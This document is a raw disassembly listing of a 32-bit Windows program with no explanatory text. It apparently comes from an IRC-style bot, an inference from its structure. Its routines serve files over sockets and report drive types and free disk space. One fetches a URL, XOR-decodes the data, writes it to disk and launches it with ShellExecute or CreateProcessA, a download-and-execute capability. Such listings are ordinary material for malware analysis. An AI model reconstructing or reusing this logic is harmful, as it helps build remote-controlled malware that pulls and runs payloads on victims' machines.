		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_4298CC
		push	eax
		push	[ebp+var_1FC]
		call	sub_40BAE7
		jmp	loc_40AE2B
; ---------------------------------------------------------------------------


loc_40AD07:				; CODE XREF: sub_40AB26+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	ds:dword_4364FC	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_40AD40
		push	offset dword_429898


loc_40AD2D:				; CODE XREF: sub_40AB26+49j
					; sub_40AB26+87j ...
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx
		jmp	loc_40AE2E
; ---------------------------------------------------------------------------


loc_40AD40:				; CODE XREF: sub_40AB26+200j
		push	edi
		call	ds:dword_436500	; closesocket
		cmp	[ebp+arg_0], esi
		jz	loc_40ADF2
		mov	edi, 400h


loc_40AD55:				; CODE XREF: sub_40AB26+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_40AD62
		mov	[ebp+var_4], eax


loc_40AD62:				; CODE XREF: sub_40AB26+237j
		push	edi
		lea	eax, [ebp+var_A04]
		push	esi
		push	eax
		call	sub_415500
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		call	ds:off_42209C
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		call	ds:off_422098
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	ds:dword_4364B8	; send
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	ds:dword_436480	; recv
		cmp	eax, ebx
		jl	loc_40AE87
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_40AE87
		sub	[ebp+arg_0], eax
		jnz	loc_40AD55
		mov	edi, [ebp+var_18]


loc_40ADF2:				; CODE XREF: sub_40AB26+224j
		push	[ebp+var_8]
		call	ds:off_422074
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_40B62E
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		push	[ebp+var_44]
		call	ds:dword_4364F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_429848
		push	eax
		call	sub_415480


loc_40AE2B:				; CODE XREF: sub_40AB26+1DCj
		add	esp, 14h


loc_40AE2E:				; CODE XREF: sub_40AB26+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_40AE53
		push	esi
		lea	eax, [ebp+var_3FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40BAE7
		add	esp, 14h


loc_40AE53:				; CODE XREF: sub_40AB26+30Bj
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_40A5B3
		cmp	edi, esi
		pop	ecx
		jbe	short loc_40AE6B
		push	edi
		call	ds:dword_436500	; closesocket


loc_40AE6B:				; CODE XREF: sub_40AB26+33Cj
		push	[ebp+var_1F8]
		call	ds:dword_436500	; closesocket
		push	[ebp+var_58]
		call	sub_415248
		pop	ecx
		push	esi
		call	ds:dword_422044	; ExitThread


loc_40AE87:				; CODE XREF: sub_40AB26+2AFj
					; sub_40AB26+2BAj
		push	esi
		mov	esi, offset dword_429820
		push	[ebp+var_54]
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+var_1FC]
		call	sub_40BAE7
		push	esi
		call	sub_40A5B3
		add	esp, 18h
		push	[ebp+var_1F8]
		call	ds:dword_436500	; closesocket
		push	[ebp+var_58]
		call	sub_415248
		pop	ecx
		push	ebx
		call	ds:dword_422044	; ExitThread
sub_40AB26	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEC8	proc near		; DATA XREF: sub_40D2E0+7C0o

var_14C4	= byte ptr -14C4h
var_4C4		= byte ptr -4C4h
var_2C4		= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_415D00
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp+var_8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_2C4]
		push	104h
		push	eax
		call	ds:dword_422058	; GetSystemDirectoryA
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_415480
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	ds:off_42207C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40AF52
		push	offset dword_429A68
		jmp	short loc_40AF98
; ---------------------------------------------------------------------------


loc_40AF52:				; CODE XREF: sub_40AEC8+81j
		push	eax
		call	ds:off_422074
		lea	eax, [ebp+var_2C4]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_415B78
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_40AF7A
		push	offset dword_429A28
		jmp	short loc_40AF98
; ---------------------------------------------------------------------------


loc_40AF7A:				; CODE XREF: sub_40AEC8+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_40A8DF
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_40AFAB
		push	offset dword_4299F8


loc_40AF98:				; CODE XREF: sub_40AEC8+88j
					; sub_40AEC8+B0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx
		jmp	loc_40B0A7
; ---------------------------------------------------------------------------


loc_40AFAB:				; CODE XREF: sub_40AEC8+C9j
		mov	esi, 1000h


loc_40AFB0:				; CODE XREF: sub_40AEC8+14Ej
		push	esi
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	eax
		call	sub_415500
		add	esp, 0Ch
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_436480	; recv
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40B077
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40B018
		push	[ebp+var_4]
		lea	eax, [ebp+var_14C4]
		push	edi
		push	1
		push	eax
		call	sub_41780F
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	ds:dword_436464	; htonl
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4364B8	; send
		jmp	short loc_40AFB0
; ---------------------------------------------------------------------------


loc_40B018:				; CODE XREF: sub_40AEC8+118j
		lea	eax, [ebp+var_4C4]
		push	offset dword_429820
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40BAE7
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40A5B3
		push	[ebp+var_4]
		call	sub_415AD0
		add	esp, 24h
		push	[ebp+arg_0]
		call	ds:dword_436500	; closesocket
		push	[ebp+var_1C]
		call	sub_415248
		pop	ecx
		push	1
		call	ds:dword_422044	; ExitThread


loc_40B077:				; CODE XREF: sub_40AEC8+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40B62E
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	offset dword_4299A4
		push	eax
		call	sub_415480
		add	esp, 14h


loc_40B0A7:				; CODE XREF: sub_40AEC8+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_40B0CC
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40BAE7
		add	esp, 14h


loc_40B0CC:				; CODE XREF: sub_40AEC8+1E2j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40A5B3
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_40B0E7
		push	[ebp+var_4]
		call	sub_415AD0
		pop	ecx


loc_40B0E7:				; CODE XREF: sub_40AEC8+214j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_40B0F5
		push	[ebp+arg_0]
		call	ds:dword_436500	; closesocket


loc_40B0F5:				; CODE XREF: sub_40AEC8+222j
		push	[ebp+var_1C]
		call	sub_415248
		pop	ecx
		push	ebx
		call	ds:dword_422044	; ExitThread
sub_40AEC8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B105	proc near		; DATA XREF: sub_40D2E0+381Eo
					; sub_40D2E0+3F6Do

var_570		= qword	ptr -570h
var_564		= qword	ptr -564h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	ds:dword_436418
		call	ds:dword_436378	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_40B591
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		call	ds:off_42207C
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_40B1CC
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_429CFC
		push	eax
		call	sub_415480
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40B1AF
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40BAE7
		add	esp, 14h


loc_40B1AF:				; CODE XREF: sub_40B105+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40A5B3
		push	[ebp+var_48]
		call	sub_415248
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_422044	; ExitThread


loc_40B1CC:				; CODE XREF: sub_40B105+68j
		xor	edi, edi
		call	ds:dword_422048	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_415D2F
		pop	ecx
		mov	[ebp+var_1C], eax


loc_40B1E6:				; CODE XREF: sub_40B105+1B4j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_415500
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	ds:dword_436380	; InternetReadFile
		cmp	[ebp+var_34], esi
		jz	short loc_40B22A
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B5F7
		pop	ecx
		pop	ecx


loc_40B22A:				; CODE XREF: sub_40B105+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	ds:dword_4220B0	; WriteFile
		cmp	edi, ebx
		jnb	short loc_40B268
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40B252
		mov	eax, [ebp+arg_0]


loc_40B252:				; CODE XREF: sub_40B105+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_415560
		add	esp, 0Ch


loc_40B268:				; CODE XREF: sub_40B105+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_40B275
		cmp	edi, [ebp+var_3C]
		ja	short loc_40B2BF


loc_40B275:				; CODE XREF: sub_40B105+169j
		cmp	[ebp+var_44], 1
		mov	eax, edi
		jz	short loc_40B28F
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_429CB4
		jmp	short loc_40B29F
; ---------------------------------------------------------------------------


loc_40B28F:				; CODE XREF: sub_40B105+176j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_429C74


loc_40B29F:				; CODE XREF: sub_40B105+188j
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_43BCC0
		push	eax
		call	sub_415480
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_40B1E6


loc_40B2BF:				; CODE XREF: sub_40B105+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_40B314
		cmp	edi, [ebp+var_3C]
		jz	short loc_40B314
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_429C30
		push	eax
		call	sub_415480
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40BAE7
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40A5B3
		add	esp, 28h


loc_40B314:				; CODE XREF: sub_40B105+1C4j
					; sub_40B105+1C9j
		call	ds:dword_422048	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	ds:off_422074
		push	[ebp+var_1C]
		call	sub_415DE1
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_40B39E
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40A86D
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_40B39E
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_429BF8
		push	eax
		call	sub_415480
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40BAE7
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40A5B3
		add	esp, 28h


loc_40B39E:				; CODE XREF: sub_40B105+241j
					; sub_40B105+253j
		cmp	[ebp+var_14], esi
		jz	loc_40B5DE
		cmp	[ebp+var_44], 1
		jz	loc_40B499
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	ds:dbl_422680
		lea	eax, [ebp+var_148]
		fstp	[esp+564h+var_564]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	ds:dbl_422680
		fstp	[esp+570h+var_570]
		push	offset unk_429BB0
		push	eax
		call	sub_415480
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40B419
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40BAE7
		add	esp, 14h


loc_40B419:				; CODE XREF: sub_40B105+2F2j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40A5B3
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_40B5DE
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	ds:dword_4363DC
		cmp	[ebp+var_30], esi
		jnz	loc_40B5DE
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_429B7C
		push	eax
		call	sub_415480
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40BAE7
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40A5B3
		add	esp, 24h
		jmp	loc_40B5DE
; ---------------------------------------------------------------------------


loc_40B499:				; CODE XREF: sub_40B105+2A6j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	ds:dbl_422680
		lea	eax, [ebp+var_148]
		fstp	[esp+564h+var_564]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	ds:dbl_422680
		fstp	[esp+570h+var_570]
		push	offset unk_429B2C
		push	eax
		call	sub_415480
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40B501
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40BAE7
		add	esp, 14h


loc_40B501:				; CODE XREF: sub_40B105+3DAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40A5B3
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_415500
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415500
		add	esp, 1Ch
		mov	[ebp+var_310], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_304], offset byte_4325D8
		push	1
		mov	[ebp+var_2E0], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_2E4], edi
		call	ds:dword_422104	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_40B583
		call	ds:dword_4363C8	; WSACleanup
		call	sub_409288
		push	esi
		call	ds:off_42212C


loc_40B583:				; CODE XREF: sub_40B105+46Aj
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_429AE4
		jmp	short loc_40B59D
; ---------------------------------------------------------------------------


loc_40B591:				; CODE XREF: sub_40B105+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_429AA8


loc_40B59D:				; CODE XREF: sub_40B105+48Aj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415480
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40B5D1
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40BAE7
		add	esp, 14h


loc_40B5D1:				; CODE XREF: sub_40B105+4AAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40A5B3
		pop	ecx


loc_40B5DE:				; CODE XREF: sub_40B105+29Cj
					; sub_40B105+325j ...
		push	[ebp+var_18]
		call	ds:dword_43649C	; InternetCloseHandle
		push	[ebp+var_48]
		call	sub_415248
		pop	ecx
		push	esi
		call	ds:dword_422044	; ExitThread
sub_40B105	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40B5F7	proc near		; CODE XREF: sub_40B105+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_40B613


loc_40B603:				; CODE XREF: sub_40B5F7+1Aj
		mov	dl, ds:byte_42ACDC
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_40B603

locret_40B613:				; CODE XREF: sub_40B5F7+Aj
		retn
sub_40B5F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B614	proc near		; CODE XREF: sub_40D2E0+2A7Ep
					; sub_40D2E0+2BA4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_417919
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40B614	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B62E	proc near		; CODE XREF: sub_4049CD+458p
					; sub_4049CD+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_43A838
		push	0
		push	edi
		call	sub_415500
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_40B653:				; CODE XREF: sub_40B62E+5Bj
					; sub_40B62E+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_4172F0
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_417370
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_40B691
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_40B653
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_40B653
; ---------------------------------------------------------------------------


loc_40B691:				; CODE XREF: sub_40B62E+4Bj
		dec	esi
		mov	eax, edi


loc_40B694:				; CODE XREF: sub_40B62E+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_40B6A3
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_40B694
; ---------------------------------------------------------------------------


loc_40B6A3:				; CODE XREF: sub_40B62E+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B62E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B6AD	proc near		; CODE XREF: sub_40B862+51p
					; sub_40B862+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_4364C8	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_40B6F0
		dec	eax
		jz	short loc_40B6EA
		dec	eax
		dec	eax
		jz	short loc_40B6E4
		dec	eax
		jz	short loc_40B6DE
		dec	eax
		jz	short loc_40B6D8
		dec	eax
		jz	short loc_40B6D2
		mov	eax, offset word_4294E8
		retn
; ---------------------------------------------------------------------------


loc_40B6D2:				; CODE XREF: sub_40B6AD+1Dj
		mov	eax, offset off_429D5C
		retn
; ---------------------------------------------------------------------------


loc_40B6D8:				; CODE XREF: sub_40B6AD+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_40B6DE:				; CODE XREF: sub_40B6AD+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_40B6E4:				; CODE XREF: sub_40B6AD+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_40B6EA:				; CODE XREF: sub_40B6AD+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_40B6F0:				; CODE XREF: sub_40B6AD+Dj
		mov	eax, offset aUnknown_0 ; "Unknown"
		retn
sub_40B6AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B6F6	proc near		; CODE XREF: sub_40B73E+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_436364
		test	eax, eax
		jz	short loc_40B72B
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA


loc_40B72B:				; CODE XREF: sub_40B6F6+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40B6F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B73E	proc near		; CODE XREF: sub_409F1E+1F3p
					; sub_40B862+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40B6F6
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40B81C
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40B81C
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40B81C
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_417960
		push	edx
		push	eax
		call	sub_40B62E
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_4159FA
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_417960
		push	edx
		push	eax
		call	sub_40B62E
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_4159FA
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_417960
		push	edx
		push	eax
		call	sub_40B62E
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_4159FA
		add	esp, 10h
		pop	ebx
		jmp	short loc_40B84E
; ---------------------------------------------------------------------------


loc_40B81C:				; CODE XREF: sub_40B73E+2Cj
					; sub_40B73E+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_415480
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_415480
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx


loc_40B84E:				; CODE XREF: sub_40B73E+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
